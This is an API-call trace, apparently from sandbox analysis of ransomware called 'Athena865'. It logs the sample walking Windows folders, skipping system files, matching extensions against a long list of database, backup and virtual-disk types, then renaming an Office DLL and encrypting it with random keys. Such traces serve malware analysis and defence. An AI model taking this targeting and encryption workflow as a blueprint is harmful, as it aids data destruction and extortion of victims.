[0141.645] lstrlenW (lpString="db-shm") returned 6 [0141.645] lstrcmpiW (lpString1="TL.DLL", lpString2="db-shm") returned 1 [0141.645] lstrlenW (lpString="db-wal") returned 6 [0141.645] lstrcmpiW (lpString1="TL.DLL", lpString2="db-wal") returned 1 [0141.645] lstrlenW (lpString="dbc") returned 3 [0141.645] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0141.645] lstrlenW (lpString="dbs") returned 3 [0141.645] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0141.645] lstrlenW (lpString="dbt") returned 3 [0141.645] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0141.645] lstrlenW (lpString="dbv") returned 3 [0141.645] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0141.645] lstrlenW (lpString="dbx") returned 3 [0141.645] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0141.645] lstrlenW (lpString="dcb") returned 3 [0141.645] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0141.645] lstrlenW (lpString="dct") returned 3 [0141.645] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0141.645] lstrlenW (lpString="dcx") returned 3 [0141.645] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0141.645] lstrlenW (lpString="ddl") returned 3 [0141.646] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0141.646] lstrlenW (lpString="dlis") returned 4 [0141.646] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0141.646] lstrlenW (lpString="dp1") returned 3 [0141.646] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0141.646] lstrlenW (lpString="dqy") returned 3 [0141.646] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0141.646] lstrlenW (lpString="dsk") returned 3 [0141.646] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0141.646] lstrlenW (lpString="dsn") returned 3 [0141.646] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0141.646] lstrlenW (lpString="dtsx") returned 4 [0141.646] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0141.646] lstrlenW (lpString="dxl") returned 3 [0141.646] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0141.646] lstrlenW (lpString="eco") returned 3 [0141.646] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0141.646] lstrlenW (lpString="ecx") returned 3 [0141.646] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0141.646] lstrlenW (lpString="edb") returned 3 [0141.646] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0141.646] lstrlenW (lpString="epim") returned 4 [0141.646] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0141.646] lstrlenW (lpString="fcd") returned 3 [0141.646] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0141.646] lstrlenW (lpString="fdb") returned 3 [0141.646] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0141.646] lstrlenW (lpString="fic") returned 3 [0141.646] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0141.647] lstrlenW (lpString="flexolibrary") returned 12 [0141.647] lstrlenW (lpString="fm5") returned 3 [0141.647] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0141.647] lstrlenW (lpString="fmp") returned 3 [0141.647] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0141.647] lstrlenW (lpString="fmp12") returned 5 [0141.647] lstrcmpiW (lpString1="L.DLL", lpString2="fmp12") returned 1 [0141.647] lstrlenW (lpString="fmpsl") returned 5 [0141.647] lstrcmpiW (lpString1="L.DLL", lpString2="fmpsl") returned 1 [0141.647] lstrlenW (lpString="fol") returned 3 [0141.647] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0141.647] lstrlenW (lpString="fp3") returned 3 [0141.647] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0141.647] lstrlenW (lpString="fp4") returned 3 [0141.647] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0141.647] lstrlenW (lpString="fp5") returned 3 [0141.647] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0141.647] lstrlenW (lpString="fp7") returned 3 [0141.647] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0141.647] lstrlenW (lpString="fpt") returned 3 [0141.647] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0141.647] lstrlenW (lpString="frm") returned 3 [0141.647] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0141.647] lstrlenW (lpString="gdb") returned 3 [0141.647] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0141.647] lstrlenW (lpString="gdb") returned 3 [0141.647] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0141.647] lstrlenW (lpString="grdb") returned 4 [0141.647] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0141.647] lstrlenW (lpString="gwi") returned 3 [0141.647] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0141.648] lstrlenW (lpString="hdb") returned 3 [0141.648] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0141.648] lstrlenW (lpString="his") returned 3 [0141.648] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0141.648] lstrlenW (lpString="ib") returned 2 [0141.648] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0141.648] lstrlenW (lpString="idb") returned 3 [0141.648] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0141.648] lstrlenW (lpString="ihx") returned 3 [0141.648] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0141.648] lstrlenW (lpString="itdb") returned 4 [0141.648] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0141.648] lstrlenW (lpString="itw") returned 3 [0141.648] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0141.648] lstrlenW (lpString="jet") returned 3 [0141.648] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0141.648] lstrlenW (lpString="jtx") returned 3 [0141.648] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0141.648] lstrlenW (lpString="kdb") returned 3 [0141.648] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0141.648] lstrlenW (lpString="kexi") returned 4 [0141.648] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0141.648] lstrlenW (lpString="kexic") returned 5 [0141.648] lstrcmpiW (lpString1="L.DLL", lpString2="kexic") returned 1 [0141.648] lstrlenW (lpString="kexis") returned 5 [0141.648] lstrcmpiW (lpString1="L.DLL", lpString2="kexis") returned 1 [0141.648] lstrlenW (lpString="lgc") returned 3 [0141.648] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0141.648] lstrlenW (lpString="lwx") returned 3 [0141.648] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0141.649] lstrlenW (lpString="maf") returned 3 [0141.649] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0141.649] lstrlenW (lpString="maq") returned 3 [0141.649] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0141.649] lstrlenW (lpString="mar") returned 3 [0141.649] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0141.649] lstrlenW (lpString="marshal") returned 7 [0141.649] lstrcmpiW (lpString1="NTL.DLL", lpString2="marshal") returned 1 [0141.649] lstrlenW (lpString="mas") returned 3 [0141.649] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0141.649] lstrlenW (lpString="mav") returned 3 [0141.649] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0141.649] lstrlenW (lpString="maw") returned 3 [0141.649] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0141.649] lstrlenW (lpString="mdbhtml") returned 7 [0141.649] lstrcmpiW (lpString1="NTL.DLL", lpString2="mdbhtml") returned 1 [0141.649] lstrlenW (lpString="mdn") returned 3 [0141.649] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0141.649] lstrlenW (lpString="mdt") returned 3 [0141.649] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0141.649] lstrlenW (lpString="mfd") returned 3 [0141.649] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0141.649] lstrlenW (lpString="mpd") returned 3 [0141.649] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0141.649] lstrlenW (lpString="mrg") returned 3 [0141.649] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0141.649] lstrlenW (lpString="mud") returned 3 [0141.649] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0141.649] lstrlenW (lpString="mwb") returned 3 [0141.649] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0141.650] lstrlenW (lpString="myd") returned 3 [0141.650] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0141.650] lstrlenW (lpString="ndf") returned 3 [0141.650] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0141.650] lstrlenW (lpString="nnt") returned 3 [0141.650] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0141.650] lstrlenW (lpString="nrmlib") returned 6 [0141.650] lstrcmpiW (lpString1="TL.DLL", lpString2="nrmlib") returned 1 [0141.650] lstrlenW (lpString="ns2") returned 3 [0141.650] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0141.650] lstrlenW (lpString="ns3") returned 3 [0141.650] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0141.650] lstrlenW (lpString="ns4") returned 3 [0141.650] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0141.650] lstrlenW (lpString="nsf") returned 3 [0141.650] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0141.650] lstrlenW (lpString="nv") returned 2 [0141.650] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0141.650] lstrlenW (lpString="nv2") returned 3 [0141.650] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0141.650] lstrlenW (lpString="nwdb") returned 4 [0141.650] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0141.650] lstrlenW (lpString="nyf") returned 3 [0141.650] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0141.650] lstrlenW (lpString="odb") returned 3 [0141.650] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0141.650] lstrlenW (lpString="odb") returned 3 [0141.651] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0141.651] lstrlenW (lpString="oqy") returned 3 [0141.651] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0141.651] lstrlenW (lpString="ora") returned 3 [0141.651] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0141.651] lstrlenW (lpString="orx") returned 3 [0141.651] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0141.651] lstrlenW (lpString="owc") returned 3 [0141.651] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0141.651] lstrlenW (lpString="p96") returned 3 [0141.651] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0141.651] lstrlenW (lpString="p97") returned 3 [0141.651] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0141.651] lstrlenW (lpString="pan") returned 3 [0141.651] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0141.651] lstrlenW (lpString="pdb") returned 3 [0141.651] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0141.651] lstrlenW (lpString="pdm") returned 3 [0141.651] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0141.651] lstrlenW (lpString="pnz") returned 3 [0141.651] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0141.651] lstrlenW (lpString="qry") returned 3 [0141.651] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0141.651] lstrlenW (lpString="qvd") returned 3 [0141.651] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0141.651] lstrlenW (lpString="rbf") returned 3 [0141.651] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0141.651] lstrlenW (lpString="rctd") returned 4 [0141.651] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0141.652] lstrlenW (lpString="rod") returned 3 [0141.652] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0141.652] lstrlenW (lpString="rodx") returned 4 [0141.652] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0141.652] lstrlenW (lpString="rpd") returned 3 [0141.652] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0141.652] lstrlenW (lpString="rsd") returned 3 [0141.652] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0141.652] lstrlenW (lpString="sas7bdat") returned 8 [0141.652] lstrcmpiW (lpString1="INTL.DLL", lpString2="sas7bdat") returned -1 [0141.652] lstrlenW (lpString="sbf") returned 3 [0141.652] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0141.652] lstrlenW (lpString="scx") returned 3 [0141.652] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0141.652] lstrlenW (lpString="sdb") returned 3 [0141.652] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0141.652] lstrlenW (lpString="sdc") returned 3 [0141.652] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0141.652] lstrlenW (lpString="sdf") returned 3 [0141.652] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0141.652] lstrlenW (lpString="sis") returned 3 [0141.652] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0141.652] lstrlenW (lpString="spq") returned 3 [0141.652] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0141.652] lstrlenW (lpString="te") returned 2 [0141.652] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0141.652] lstrlenW (lpString="teacher") returned 7 [0141.652] lstrcmpiW (lpString1="NTL.DLL", lpString2="teacher") returned -1 [0141.652] lstrlenW (lpString="tmd") returned 3 [0141.653] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0141.653] lstrlenW (lpString="tps") returned 3 [0141.653] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0141.653] lstrlenW (lpString="trc") returned 3 [0141.653] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0141.653] lstrlenW (lpString="trc") returned 3 [0141.653] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0141.653] lstrlenW (lpString="trm") returned 3 [0141.653] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0141.653] lstrlenW (lpString="udb") returned 3 [0141.653] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0141.653] lstrlenW (lpString="udl") returned 3 [0141.653] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0141.653] lstrlenW (lpString="usr") returned 3 [0141.653] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0141.653] lstrlenW (lpString="v12") returned 3 [0141.653] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0141.653] lstrlenW (lpString="vis") returned 3 [0141.653] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0141.653] lstrlenW (lpString="vpd") returned 3 [0141.653] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0141.653] lstrlenW (lpString="vvv") returned 3 [0141.653] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0141.653] lstrlenW (lpString="wdb") returned 3 [0141.653] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0141.653] lstrlenW (lpString="wmdb") returned 4 [0141.653] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0141.653] lstrlenW (lpString="wrk") returned 3 [0141.653] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0141.653] lstrlenW (lpString="xdb") returned 3 [0141.654] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0141.654] lstrlenW (lpString="xld") returned 3 [0141.654] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0141.654] lstrlenW (lpString="xmlff") returned 5 [0141.654] lstrcmpiW (lpString1="L.DLL", lpString2="xmlff") returned -1 [0141.654] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL.Athena865") returned 70 [0141.654] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipedintl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipedintl.dll.athena865"), dwFlags=0x1) returned 1 [0141.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipedintl.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0141.656] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=883600) returned 1 [0141.656] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0141.656] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0141.656] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0141.656] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0141.657] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0141.657] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0141.657] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd7e90, lpName=0x0) returned 0x17c [0141.659] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd7e90) returned 0x2bb0000 [0141.691] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0141.691] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0141.691] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0141.692] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0141.692] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0141.692] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0141.692] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0141.692] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0141.692] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0141.692] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0141.692] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0141.692] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0141.692] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0141.692] UnmapViewOfFile (lpBaseAddress=0x2bb0000) returned 1 [0141.700] CloseHandle (hObject=0x17c) returned 1 [0141.700] CloseHandle (hObject=0x154) returned 1 [0141.700] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0141.700] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0141.700] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0141.704] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1f53500, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1f53500, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x3e7b0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IPOLKINTL.DLL", cAlternateFileName="IPOLKI~1.DLL")) returned 1 [0141.704] lstrcmpiW (lpString1="IPOLKINTL.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0141.704] lstrcmpiW (lpString1="IPOLKINTL.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0141.704] lstrcmpiW (lpString1="IPOLKINTL.DLL", lpString2=".") returned 1 [0141.704] lstrcmpiW (lpString1="IPOLKINTL.DLL", lpString2="..") returned 1 [0141.704] lstrcmpiW (lpString1="IPOLKINTL.DLL", lpString2="windows") returned -1 [0141.704] lstrcmpiW (lpString1="IPOLKINTL.DLL", lpString2="bootmgr") returned 1 [0141.704] lstrcmpiW (lpString1="IPOLKINTL.DLL", lpString2="temp") returned -1 [0141.704] lstrcmpiW (lpString1="IPOLKINTL.DLL", lpString2="pagefile.sys") returned -1 [0141.704] lstrcmpiW (lpString1="IPOLKINTL.DLL", lpString2="boot") returned 1 [0141.704] lstrcmpiW (lpString1="IPOLKINTL.DLL", lpString2="ids.txt") returned 1 [0141.704] lstrcmpiW (lpString1="IPOLKINTL.DLL", lpString2="ntuser.dat") returned -1 [0141.704] lstrcmpiW (lpString1="IPOLKINTL.DLL", lpString2="perflogs") returned -1 [0141.704] lstrcmpiW (lpString1="IPOLKINTL.DLL", lpString2="MSBuild") returned -1 [0141.704] lstrlenW (lpString="IPOLKINTL.DLL") returned 13 [0141.704] lstrcpyW (in: lpString1=0x241e8a8, lpString2="IPOLKINTL.DLL" | out: lpString1="IPOLKINTL.DLL") returned="IPOLKINTL.DLL" [0141.704] lstrlenW (lpString="IPOLKINTL.DLL") returned 13 [0141.704] lstrlenW (lpString="Athena865") returned 9 [0141.704] lstrcmpiW (lpString1="KINTL.DLL", lpString2="Athena865") returned 1 [0141.704] lstrlenW (lpString=".dll") returned 4 [0141.704] lstrcmpiW (lpString1="IPOLKINTL.DLL", lpString2=".dll") returned 1 [0141.704] lstrlenW (lpString=".lnk") returned 4 [0141.705] lstrcmpiW (lpString1="IPOLKINTL.DLL", lpString2=".lnk") returned 1 [0141.705] lstrlenW (lpString=".ini") returned 4 [0141.705] lstrcmpiW (lpString1="IPOLKINTL.DLL", lpString2=".ini") returned 1 [0141.705] lstrlenW (lpString=".sys") returned 4 [0141.705] lstrcmpiW (lpString1="IPOLKINTL.DLL", lpString2=".sys") returned 1 [0141.705] lstrlenW (lpString="IPOLKINTL.DLL") returned 13 [0141.705] lstrlenW (lpString="bak") returned 3 [0141.705] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0141.705] lstrlenW (lpString="ba_") returned 3 [0141.705] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0141.705] lstrlenW (lpString="dbb") returned 3 [0141.705] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0141.705] lstrlenW (lpString="vmdk") returned 4 [0141.705] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0141.705] lstrlenW (lpString="rar") returned 3 [0141.705] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0141.705] lstrlenW (lpString="zip") returned 3 [0141.705] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0141.705] lstrlenW (lpString="tgz") returned 3 [0141.705] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0141.705] lstrlenW (lpString="vbox") returned 4 [0141.705] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0141.705] lstrlenW (lpString="vdi") returned 3 [0141.705] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0141.705] lstrlenW (lpString="vhd") returned 3 [0141.705] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0141.705] lstrlenW (lpString="vhdx") returned 4 [0141.705] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0141.705] lstrlenW (lpString="avhd") returned 4 [0141.705] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0141.706] lstrlenW (lpString="db") returned 2 [0141.706] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0141.706] lstrlenW (lpString="db2") returned 3 [0141.706] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0141.706] lstrlenW (lpString="db3") returned 3 [0141.706] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0141.706] lstrlenW (lpString="dbf") returned 3 [0141.706] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0141.706] lstrlenW (lpString="mdf") returned 3 [0141.706] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0141.706] lstrlenW (lpString="mdb") returned 3 [0141.706] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0141.706] lstrlenW (lpString="sql") returned 3 [0141.706] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0141.706] lstrlenW (lpString="sqlite") returned 6 [0141.706] lstrcmpiW (lpString1="TL.DLL", lpString2="sqlite") returned 1 [0141.706] lstrlenW (lpString="sqlite3") returned 7 [0141.706] lstrcmpiW (lpString1="NTL.DLL", lpString2="sqlite3") returned -1 [0141.706] lstrlenW (lpString="sqlitedb") returned 8 [0141.706] lstrcmpiW (lpString1="INTL.DLL", lpString2="sqlitedb") returned -1 [0141.706] lstrlenW (lpString="xml") returned 3 [0141.706] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0141.706] lstrlenW (lpString="$er") returned 3 [0141.706] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0141.706] lstrlenW (lpString="4dd") returned 3 [0141.706] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0141.706] lstrlenW (lpString="4dl") returned 3 [0141.706] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0141.706] lstrlenW (lpString="^^^") returned 3 [0141.706] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0141.707] lstrlenW (lpString="abs") returned 3 [0141.707] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0141.707] lstrlenW (lpString="abx") returned 3 [0141.707] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0141.707] lstrlenW (lpString="accdb") returned 5 [0141.707] lstrcmpiW (lpString1="L.DLL", lpString2="accdb") returned 1 [0141.707] lstrlenW (lpString="accdc") returned 5 [0141.707] lstrcmpiW (lpString1="L.DLL", lpString2="accdc") returned 1 [0141.707] lstrlenW (lpString="accde") returned 5 [0141.707] lstrcmpiW (lpString1="L.DLL", lpString2="accde") returned 1 [0141.707] lstrlenW (lpString="accdr") returned 5 [0141.707] lstrcmpiW (lpString1="L.DLL", lpString2="accdr") returned 1 [0141.707] lstrlenW (lpString="accdt") returned 5 [0141.707] lstrcmpiW (lpString1="L.DLL", lpString2="accdt") returned 1 [0141.707] lstrlenW (lpString="accdw") returned 5 [0141.707] lstrcmpiW (lpString1="L.DLL", lpString2="accdw") returned 1 [0141.707] lstrlenW (lpString="accft") returned 5 [0141.707] lstrcmpiW (lpString1="L.DLL", lpString2="accft") returned 1 [0141.707] lstrlenW (lpString="adb") returned 3 [0141.707] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0141.707] lstrlenW (lpString="adb") returned 3 [0141.707] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0141.707] lstrlenW (lpString="ade") returned 3 [0141.707] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0141.707] lstrlenW (lpString="adf") returned 3 [0141.707] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0141.707] lstrlenW (lpString="adn") returned 3 [0141.707] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0141.707] lstrlenW (lpString="adp") returned 3 [0141.708] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0141.708] lstrlenW (lpString="alf") returned 3 [0141.708] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0141.708] lstrlenW (lpString="ask") returned 3 [0141.708] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0141.708] lstrlenW (lpString="btr") returned 3 